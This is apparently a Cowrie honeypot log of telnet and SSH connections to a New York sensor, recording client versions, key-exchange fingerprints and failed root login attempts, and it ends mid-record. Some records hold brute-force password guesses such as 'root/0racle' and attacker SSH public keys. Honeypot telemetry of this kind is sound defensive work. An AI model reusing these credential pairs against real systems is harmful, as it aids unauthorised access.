{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":45706,"dst_ip":"10.17.0.5","dst_port":23,"session":"d02c91215da9","protocol":"telnet","message":"New connection: 50.6.8.71:45706 (10.17.0.5:23) [session: d02c91215da9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:18:51.816808Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":45720,"dst_ip":"10.17.0.5","dst_port":23,"session":"59bf548ff538","protocol":"telnet","message":"New connection: 50.6.8.71:45720 (10.17.0.5:23) [session: 59bf548ff538]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:18:57.959752Z"}
{"eventid":"cowrie.session.closed","duration":31.581568002700806,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:18:58.714709Z","src_ip":"50.6.8.71","session":"e780318a31c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92073154449463,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:19:00.633915Z","src_ip":"50.6.8.71","session":"614c713180a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.77.172.159","src_port":43124,"dst_ip":"159.203.135.109","dst_port":22,"session":"512780589e81","protocol":"ssh","message":"New connection: 200.77.172.159:43124 (159.203.135.109:22) [session: 512780589e81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:19:03.766182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:19:03.772647Z","src_ip":"200.77.172.159","session":"512780589e81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:19:03.856260Z","src_ip":"200.77.172.159","session":"512780589e81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0racle","message":"login attempt [root/0racle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:19:04.192830Z","src_ip":"200.77.172.159","session":"512780589e81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:19:05.274184Z","src_ip":"200.77.172.159","session":"512780589e81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":35934,"dst_ip":"10.17.0.5","dst_port":23,"session":"842b2c720edb","protocol":"telnet","message":"New connection: 50.6.8.71:35934 (10.17.0.5:23) [session: 842b2c720edb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:19:06.985399Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":51446,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e5971ad2cfd","protocol":"ssh","message":"New connection: 193.37.70.224:51446 (10.17.0.5:22) [session: 4e5971ad2cfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:19:11.950917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:19:11.955596Z","src_ip":"193.37.70.224","session":"4e5971ad2cfd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:19:12.049818Z","src_ip":"193.37.70.224","session":"4e5971ad2cfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:19:12.330407Z","src_ip":"193.37.70.224","session":"4e5971ad2cfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.981370210647583,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:19:13.365998Z","src_ip":"50.6.8.71","session":"a2c6af16c701","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:19:13.429556Z","src_ip":"193.37.70.224","session":"4e5971ad2cfd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":35942,"dst_ip":"10.17.0.5","dst_port":23,"session":"486cf378472b","protocol":"telnet","message":"New connection: 50.6.8.71:35942 (10.17.0.5:23) [session: 486cf378472b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:19:13.542058Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":40310,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5d907d71997","protocol":"telnet","message":"New connection: 50.6.8.71:40310 (10.17.0.5:23) [session: a5d907d71997]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:19:19.044729Z"}
{"eventid":"cowrie.session.closed","duration":31.096101760864258,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:19:22.912744Z","src_ip":"50.6.8.71","session":"d02c91215da9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":40322,"dst_ip":"10.17.0.5","dst_port":23,"session":"303a6d1cde3c","protocol":"telnet","message":"New connection: 50.6.8.71:40322 (10.17.0.5:23) [session: 303a6d1cde3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:19:24.225162Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":46414,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d13e55b739b","protocol":"telnet","message":"New connection: 50.6.8.71:46414 (10.17.0.5:23) [session: 7d13e55b739b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:19:26.941607Z"}
{"eventid":"cowrie.session.closed","duration":36.6261522769928,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:19:34.585788Z","src_ip":"50.6.8.71","session":"59bf548ff538","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00183629989624,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:19:36.247651Z","src_ip":"49.88.156.34","session":"8c48cabf570c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.727136850357056,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:19:38.712415Z","src_ip":"50.6.8.71","session":"842b2c720edb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":47176,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb7f30189fd9","protocol":"telnet","message":"New connection: 50.6.8.71:47176 (10.17.0.5:23) [session: eb7f30189fd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:19:42.425508Z"}
{"eventid":"cowrie.session.connect","src_ip":"151.237.79.243","src_port":43804,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa54b32d4cf2","protocol":"ssh","message":"New connection: 151.237.79.243:43804 (10.17.0.5:22) [session: aa54b32d4cf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:19:42.989072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:19:42.994071Z","src_ip":"151.237.79.243","session":"aa54b32d4cf2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:19:43.131635Z","src_ip":"151.237.79.243","session":"aa54b32d4cf2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d1:2b:23:31:df:5d:c7:06:5d:ab:c2:2e:f7:97:1b:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDD8m4awgdFXmecTiMkLc7bsjXebFjoAHGAm/XJjr/FGVCO7u93ie/0U+caGR2V6tmOmeO65ZeUAN2lzFbGrEx4fr/eWtSy1GevYb66kg24LtiurAIYtyuBsH1II3usoS1MG8FUXClionLkSMioL/iJ+43Y/zZMitHsVhZpXLQclU/vrXXRZ2AcYlog0nFOIHiIfPTuBXL6lH0aZPoy34lpS3uCjfUKL/sXa5mc8FpC076VaFUJ7HCIPDqN5kNT8doDQ0uTxe1iV2UsWzz8CweW1xPO+ooWLDJha3VY72weXi6+bC235N4wscUGK0K7251rFt5Jyw3iaQn/VFtoxnBzx0RE1vcSPHbrTxshPtNjwSXk6acrpTB9J6vxkZAQn8RfmqJX2nozSpY5zkDtwWyQou8g31OZM/aHFVGDF6UbBI5KTB7K2d4k2xe/H4xYe5QP0NhFxAP09ZAzMPnew9QPMl2deTK8J7xrJNdV52qtHHUb42++5NPBqYCC1ub5S80=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d1:2b:23:31:df:5d:c7:06:5d:ab:c2:2e:f7:97:1b:ce","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:19:43.750221Z","src_ip":"151.237.79.243","session":"aa54b32d4cf2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d1:2b:23:31:df:5d:c7:06:5d:ab:c2:2e:f7:97:1b:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDD8m4awgdFXmecTiMkLc7bsjXebFjoAHGAm/XJjr/FGVCO7u93ie/0U+caGR2V6tmOmeO65ZeUAN2lzFbGrEx4fr/eWtSy1GevYb66kg24LtiurAIYtyuBsH1II3usoS1MG8FUXClionLkSMioL/iJ+43Y/zZMitHsVhZpXLQclU/vrXXRZ2AcYlog0nFOIHiIfPTuBXL6lH0aZPoy34lpS3uCjfUKL/sXa5mc8FpC076VaFUJ7HCIPDqN5kNT8doDQ0uTxe1iV2UsWzz8CweW1xPO+ooWLDJha3VY72weXi6+bC235N4wscUGK0K7251rFt5Jyw3iaQn/VFtoxnBzx0RE1vcSPHbrTxshPtNjwSXk6acrpTB9J6vxkZAQn8RfmqJX2nozSpY5zkDtwWyQou8g31OZM/aHFVGDF6UbBI5KTB7K2d4k2xe/H4xYe5QP0NhFxAP09ZAzMPnew9QPMl2deTK8J7xrJNdV52qtHHUb42++5NPBqYCC1ub5S80=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:19:43.754587Z","src_ip":"151.237.79.243","session":"aa54b32d4cf2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b9:f8:13:c5:d4:07:43:fd:02:4a:f5:29:62:a0:c6:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjAbBuTmom6lfX8GGLoApoSodn3QgvEC8UdqLHQtGKhIL/958D/bfdzJNu/zRN9wl89sBcCwfDvhxyKd+d3THM38bb+ryc1jTZDcXTblrfeDcQVo3hO0LUz535JvuO+D811Pxo7cbQnXxAe7Jck3AK5rg8iTAxkQRuLWVokIU6VmbUf3QQFNrQKmHE3YHCAuxhyg7Emdxs0DdIYPklNJYUOhzDPUWn3U/MmJcXq9hMHWw3NiocYuLwpGYndMA3ymMi6mMAr7AM/+gDiFdgMjkUv2k5ZtDxEoc2GB3/xBV2dBEUJkdfy2yGFoTI31VdHq7TWd/fy/aM57YBHFLZX4Wz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b9:f8:13:c5:d4:07:43:fd:02:4a:f5:29:62:a0:c6:9f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:19:43.882876Z","src_ip":"151.237.79.243","session":"aa54b32d4cf2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b9:f8:13:c5:d4:07:43:fd:02:4a:f5:29:62:a0:c6:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjAbBuTmom6lfX8GGLoApoSodn3QgvEC8UdqLHQtGKhIL/958D/bfdzJNu/zRN9wl89sBcCwfDvhxyKd+d3THM38bb+ryc1jTZDcXTblrfeDcQVo3hO0LUz535JvuO+D811Pxo7cbQnXxAe7Jck3AK5rg8iTAxkQRuLWVokIU6VmbUf3QQFNrQKmHE3YHCAuxhyg7Emdxs0DdIYPklNJYUOhzDPUWn3U/MmJcXq9hMHWw3NiocYuLwpGYndMA3ymMi6mMAr7AM/+gDiFdgMjkUv2k5ZtDxEoc2GB3/xBV2dBEUJkdfy2yGFoTI31VdHq7TWd/fy/aM57YBHFLZX4Wz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:19:43.887128Z","src_ip":"151.237.79.243","session":"aa54b32d4cf2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"17:e3:cf:1f:fd:9d:e6:7a:f2:ec:2e:c3:e3:34:3c:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdfzq1MW0lelf5eSbhX1+QRonXr/+1NmFAcO0xX3OzKdsQr7yz4vAaIv1LyB2odU2m9pFrww/JYu1eFc751SRk6n1XjDQVg17ct4dynFJ7TiOLCN5cb82v3E7ufuyAfqHQp8WFWDCHy36Qso8SBSCjwc8Fbolmj5EHIwfahvY0VHpJz8XfR274J7EJvh1jw4aXxLiwZRHyErZSRBK5NlVSeKX57g5NTorwszkHgy4oTZgdzxcUBx7i+oC2hX9w9a0MuhP4WmjFVE46TKT7G3xfq1InmG5TlMQvqbBVWR9Qr1aZCJvFOpC3eVXaYOeSshUaNajvwvgGu9a169yZpoUH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 17:e3:cf:1f:fd:9d:e6:7a:f2:ec:2e:c3:e3:34:3c:39","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:19:44.014452Z","src_ip":"151.237.79.243","session":"aa54b32d4cf2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"17:e3:cf:1f:fd:9d:e6:7a:f2:ec:2e:c3:e3:34:3c:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdfzq1MW0lelf5eSbhX1+QRonXr/+1NmFAcO0xX3OzKdsQr7yz4vAaIv1LyB2odU2m9pFrww/JYu1eFc751SRk6n1XjDQVg17ct4dynFJ7TiOLCN5cb82v3E7ufuyAfqHQp8WFWDCHy36Qso8SBSCjwc8Fbolmj5EHIwfahvY0VHpJz8XfR274J7EJvh1jw4aXxLiwZRHyErZSRBK5NlVSeKX57g5NTorwszkHgy4oTZgdzxcUBx7i+oC2hX9w9a0MuhP4WmjFVE46TKT7G3xfq1InmG5TlMQvqbBVWR9Qr1aZCJvFOpC3eVXaYOeSshUaNajvwvgGu9a169yZpoUH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:19:44.018465Z","src_ip":"151.237.79.243","session":"aa54b32d4cf2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b6:aa:fb:4c:85:39:15:17:f7:e5:a9:fd:fe:d4:2c:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEauetrfefzG/w6cazFRfQxxgZr24jU84B7NRELP+Sw73jjzXDYNEVtptFp0Kq7mfV+wjzAWesNvJ1cc/sE6Bboxg7XOXneXdggE1RF16/3RXTl6SOJbSqrhqTH+sXHfFbEaAIyrv9k/3lar3tm/6i++za1DirBBtoqriGLG5Abpz4BdA2YCfZI5djGdF1+5iXq+TK1CawpzdXTfyiZFshAm/yxy5d1j/pRSWO4uyIvnqwVV8l48h37uHesP2OoX0RVlFYBxGjIsMnc8smokwbxUBBgG+mogjJQbGWj4vYqzihs1lKklFWZtmbVwf7oDbPqdiR0DvbaACY6V1MOZgL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b6:aa:fb:4c:85:39:15:17:f7:e5:a9:fd:fe:d4:2c:13","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:19:44.147241Z","src_ip":"151.237.79.243","session":"aa54b32d4cf2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b6:aa:fb:4c:85:39:15:17:f7:e5:a9:fd:fe:d4:2c:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEauetrfefzG/w6cazFRfQxxgZr24jU84B7NRELP+Sw73jjzXDYNEVtptFp0Kq7mfV+wjzAWesNvJ1cc/sE6Bboxg7XOXneXdggE1RF16/3RXTl6SOJbSqrhqTH+sXHfFbEaAIyrv9k/3lar3tm/6i++za1DirBBtoqriGLG5Abpz4BdA2YCfZI5djGdF1+5iXq+TK1CawpzdXTfyiZFshAm/yxy5d1j/pRSWO4uyIvnqwVV8l48h37uHesP2OoX0RVlFYBxGjIsMnc8smokwbxUBBgG+mogjJQbGWj4vYqzihs1lKklFWZtmbVwf7oDbPqdiR0DvbaACY6V1MOZgL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:19:44.151295Z","src_ip":"151.237.79.243","session":"aa54b32d4cf2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.738686084747314,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:19:44.280624Z","src_ip":"50.6.8.71","session":"486cf378472b","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"06:c4:69:1f:b4:76:f1:88:5e:d5:9e:e0:e1:08:db:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBZyb9oLg94VNcRlcfOu0X7FnOCCBeXmGvkaFcNYkGsST9khW5rA1dwxDGUn3WYbFwrpsNO5gRRez4lt+zbJnT+d5ajqwlAU9hR36CkIaJT2QbBZeVw80UFJD297g5w/EgBuB7CsIh8naZwrz8SYHvFlOWr2ZzPM+4TL4hthTfq5XQs3xbb3iG2S+nlTfkSnYdOP5kEXxBhEY+OaSN6lJX6gY30CWIs7IecT6+8hXbtTrAKKU9n48DhC/ISbmjt+wzJPsusGMO+EWeFdR219a90NptqzL38Lb3GyDjB4ozKGdBqMHj2SE8SQ7myVzoOH7E5OFCRXzesTBlnV5tcc/7lLrDyB9B6YCwZvxqdfMuwCldcokdU7raU0nFomgeAVtEEaWUGiHeXqLOwt3mPNBu63oe+PimXIaQvzXQoxkgHBoKObUBjKXSTMOY+aYhXCAB81XrQH2DC2ZiqWEzpS2kf6gB6HUVOmSQ3DNQaKEZXBCAtgtdI6tEZO7HmDWOwSNJLETLIGYBhrOq6WWGhRWWhbq7SZgDOgy6sOwoWeYfZduSXzivcVkOPKLmqX0KAi40s0HfKBWyuJn+I5DsZAzSyhctwl6JX3533OUmGMs+rSOLa0RQMpmRo4phLAYO/qUNVDbrEBlRLPGtCB8Py953lL16wr1fR+BZ6Dfs111qgw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 06:c4:69:1f:b4:76:f1:88:5e:d5:9e:e0:e1:08:db:51","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:19:44.287951Z","src_ip":"151.237.79.243","session":"aa54b32d4cf2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"06:c4:69:1f:b4:76:f1:88:5e:d5:9e:e0:e1:08:db:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBZyb9oLg94VNcRlcfOu0X7FnOCCBeXmGvkaFcNYkGsST9khW5rA1dwxDGUn3WYbFwrpsNO5gRRez4lt+zbJnT+d5ajqwlAU9hR36CkIaJT2QbBZeVw80UFJD297g5w/EgBuB7CsIh8naZwrz8SYHvFlOWr2ZzPM+4TL4hthTfq5XQs3xbb3iG2S+nlTfkSnYdOP5kEXxBhEY+OaSN6lJX6gY30CWIs7IecT6+8hXbtTrAKKU9n48DhC/ISbmjt+wzJPsusGMO+EWeFdR219a90NptqzL38Lb3GyDjB4ozKGdBqMHj2SE8SQ7myVzoOH7E5OFCRXzesTBlnV5tcc/7lLrDyB9B6YCwZvxqdfMuwCldcokdU7raU0nFomgeAVtEEaWUGiHeXqLOwt3mPNBu63oe+PimXIaQvzXQoxkgHBoKObUBjKXSTMOY+aYhXCAB81XrQH2DC2ZiqWEzpS2kf6gB6HUVOmSQ3DNQaKEZXBCAtgtdI6tEZO7HmDWOwSNJLETLIGYBhrOq6WWGhRWWhbq7SZgDOgy6sOwoWeYfZduSXzivcVkOPKLmqX0KAi40s0HfKBWyuJn+I5DsZAzSyhctwl6JX3533OUmGMs+rSOLa0RQMpmRo4phLAYO/qUNVDbrEBlRLPGtCB8Py953lL16wr1fR+BZ6Dfs111qgw==","type":"ssh-rsa